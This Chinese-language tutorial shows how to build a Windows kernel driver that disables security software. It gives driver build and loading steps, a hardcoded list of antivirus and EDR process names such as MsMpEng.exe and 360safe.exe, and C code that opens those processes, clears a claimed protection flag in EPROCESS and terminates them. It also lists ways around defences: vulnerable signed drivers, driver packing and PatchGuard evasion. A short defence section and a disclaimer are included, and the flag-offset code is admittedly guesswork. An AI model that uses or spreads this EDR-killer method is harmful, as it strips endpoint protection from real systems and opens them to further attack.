利用内核驱动终止安全软件进程技术教学文档
1. 前言与概述
本文档详细阐述如何编写一个Windows内核模式驱动程序(Kernel-Mode Driver),利用其高权限(Ring 0)来识别并终止常见的安全软件(如360、火绒、Windows Defender)进程。该技术通过直接调用内核原生API,绕过用户层防护,实现对受保护进程的强制终止。
核心要点:
- 权限优势: 内核驱动运行在系统最高权限级别,不受用户层钩子和监控的限制。
- 技术核心: 通过驱动获取目标进程句柄,修改其内核结构属性,最终调用系统函数终止它。
- 参考项目: 本文内容基于对开源项目
NY-TASKKILL和gmer64.sys驱动等资源的分析。
开发环境准备:
- WDK (Windows Driver Kit): 用于驱动开发的官方工具包。
- Visual Studio: 推荐使用支持WDK的版本。
- 测试模式: 必须在Windows中开启测试签名模式,否则无法加载未经数字签名的驱动。
- 命令:
bcdedit /set testsigning on - (注意:强烈建议在虚拟机中进行所有测试!)
- 命令:
基础驱动开发流程(以KMDF为例):
- 在VS中创建新的Kernel Mode Driver, Empty (KMDF)项目。
- 编写驱动入口点(
DriverEntry)代码。 - 解决编译问题: 确保在链接器(Linker)的附加选项(Additional Options)中添加
/integritycheck参数。 - 编译生成
.sys文件。 - 将
.sys文件复制到C:\Windows\System32\drivers\目录下。 - 使用
sc命令创建和启动服务:sc create MyDriver binPath= "C:\Windows\System32\drivers\MyDriver.sys" type= kernelsc start MyDriver
2. 核心数据结构与API详解
2.1 CLIENT_ID
typedef struct _CLIENT_ID {
HANDLE UniqueProcess; // 目标进程的PID(内核中以句柄形式使用)
HANDLE UniqueThread; // 目标线程的TID(通常设为0,表示不指定线程)
} CLIENT_ID, *PCLIENT_ID;
作用: 在内核中唯一标识一个进程(或进程+线程组合)。是 ZwOpenProcess 等函数定位目标进程的关键参数。
注意: 内核态直接使用 HANDLE 操作PID,与用户态常用的 DWORD 类型不同,体现了对象引用的语义。
2.2 OBJECT_ATTRIBUTES
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;
关键参数:
Attributes: 设置为OBJ_KERNEL_HANDLE。这表示创建的句柄仅在内核模式可见,防止该句柄被用户态程序恶意利用,增强安全性。SecurityDescriptor: 通常设为NULL,使用默认的安全设置。
作用: 描述如何创建和打开内核对象(如进程、文件),指定其安全属性。
2.3 关键内核API函数
| 函数前缀 | 所属模块 | 核心作用与常见函数举例 |
|---|---|---|
| Zw | Native API (内核态入口) | 内核模式下直接访问系统服务,避免模式切换开销。ZwTerminateProcess (终止进程), ZwOpenProcess (打开进程), ZwQuerySystemInformation (查询系统信息) |
| Ps | 进程/线程管理 | 进程/线程的创建、销毁、状态控制及事件监控。PsGetProcessId (获取进程ID), PsSetCreateProcessNotifyRoutine (注册进程创建回调) |
| Ob | 对象管理器 (Object Manager) | 管理内核对象的生命周期和安全访问。ObReferenceObjectByHandle (通过句柄获取对象指针并增加引用计数), ObDereferenceObject (减少引用计数) |
| Ke | 内核核心层 | 线程调度、中断管理、同步。KeStackAttachProcess (将线程附加到目标进程地址空间), KeUnstackDetachProcess (解除附加) |
| Io | I/O 子系统 | 设备驱动与I/O操作的核心交互。IoCreateDevice, IoDeleteSymbolicLink |
3. 技术实现原理与步骤分析
3.1 识别目标进程 (IsInEdrList函数)
逻辑: 驱动内部维护一个预定义的安全软件进程名称关键词列表(例如:360safe.exe, hipsmain.exe (火绒), MsMpEng.exe (Defender))。
方法: 通过遍历系统进程列表(通常使用 ZwQuerySystemInformation 配合 SystemProcessInformation 信息类),将每个运行的进程名与黑名单关键词进行匹配,从而识别出需要终止的目标进程PID。
3.2 进程终止核心逻辑 (TerminateProcessByPid函数)
这是驱动最核心的功能函数,其步骤如下:
-
打开目标进程:
// 初始化 CLIENT_ID 和 OBJECT_ATTRIBUTES CLIENT_ID clientId = { (HANDLE)targetPid, 0 }; OBJECT_ATTRIBUTES objAttr = { sizeof(objAttr), 0, 0, OBJ_KERNEL_HANDLE }; // 以足够的权限(如 PROCESS_TERMINATE | PROCESS_QUERY_INFORMATION)打开进程 HANDLE hProcess; NTSTATUS status = ZwOpenProcess(&hProcess, PROCESS_TERMINATE, &objAttr, &clientId); if (!NT_SUCCESS(status)) { // 处理打开失败 return; }关键点: 权限参数必须包含
PROCESS_TERMINATE,仅用PROCESS_QUERY_INFORMATION无法终止。 -
获取进程对象 (PEPROCESS):
PEPROCESS pEprocess; status = ObReferenceObjectByHandle(hProcess, PROCESS_ALL_ACCESS, *PsProcessType, KernelMode, &pEprocess, NULL); if (!NT_SUCCESS(status)) { ZwClose(hProcess); return; }关键点:
ObReferenceObjectByHandle将句柄转换为可操作的内核对象指针,并增加其引用计数,操作完后必须用ObDereferenceObject减少计数,防止内存泄漏。 -
(可选)修改进程标志位 - 解除保护:
// 逆向经验表明,某些保护标志位可能为 0x2000 pEprocess->Flags &= ~0x2000u; // 清除特定保护标志位原理:
PEPROCESS是内核中描述进程的核心结构体。某些安全软件会设置进程的保护标志(如PS_PROTECTED_PROCESS的相关位),使其无法被终止。直接修改内核中的这些标志可以解除保护。
注意: 此操作高度依赖于Windows内核版本和结构定义,需要逆向分析或微软的符号信息,不同系统版本可能偏移不同。 -
附加到目标进程上下文(如需访问进程内存):
KAPC_STATE apcState; KeStackAttachProcess(pEprocess, &apcState); // ... 在此处操作目标进程的内存 ... KeUnstackDetachProcess(&apcState);原理: Windows通过地址空间隔离进程。
KeStackAttachProcess将当前内核线程切换到目标进程的地址空间(通过切换CR3寄存器),使其能直接读写目标进程的内存。操作完毕后必须调用KeUnstackDetachProcess恢复。 -
终止进程:
status = ZwTerminateProcess(hProcess, STATUS_SUCCESS); -
清理资源:
ObDereferenceObject(pEprocess); // 减少PEPROCESS对象的引用计数 ZwClose(hProcess); // 关闭进程句柄
4. 对抗与防御视角
4.1 如何防御此类驱动攻击?
- 驱动签名强制(DSE): 启用并严格执行驱动签名强制(Driver Signature Enforcement),阻止加载未经验证签名的驱动。
- 内核补丁保护(PatchGuard): 现代Windows系统的PatchGuard会检测和阻止对关键内核结构(如
PEPROCESS->Flags)的恶意修改,并引发蓝屏(BSOD)。 - 进程自我保护: 安全软件驱动可以注册
ObRegisterCallbacks来监控进程句柄的打开操作。如果发现恶意驱动以PROCESS_TERMINATE权限打开自身进程,可以拒绝该操作。 - 监控驱动加载: 安全软件可监控系统的驱动加载情况,对可疑的、未知的驱动进行告警或拦截。
4.2 攻击者的进阶绕过技术
- 利用合法签名驱动: 寻找存在漏洞或功能滥用的、带有合法厂商签名的驱动(类似
gmer64.sys的例子),利用其提供的功能来实现终止操作。这种称为“自带驱动(BYOVD - Bring Your Own Vulnerable Driver)”攻击。 - 驱动加壳/混淆: 对恶意驱动进行加壳(如使用VMP对驱动代码加密)以绕过静态签名检测和逆向分析。
- 更底层的内存操作: 在极端情况下,可能通过直接物理内存映射(MDL)等复杂手段绕过PatchGuard的检测(难度极大且极不稳定)。
5. 总结与免责声明
技术总结:
本技术通过编写内核驱动,利用 ZwOpenProcess 和 ZwTerminateProcess 等原生API,结合对内核对象结构的直接操作,实现了对受保护进程的强制终止。其核心在于内核态(Ring 0)的权限优势和对Windows内核机制的深刻理解。
重要免责声明:
- 本文仅用于安全技术研究和教学目的,旨在帮助防御者了解攻击原理,从而构建更坚固的防御体系。
- 严禁将此类技术用于任何非法入侵、破坏他人计算机系统等违法犯罪活动。
- 内核开发极其危险,错误的代码可能导致系统瞬间蓝屏(BSOD)乃至数据损坏。 所有实验必须在隔离的虚拟机环境中进行。
- 绕过安全防护机制可能违反软件的使用条款。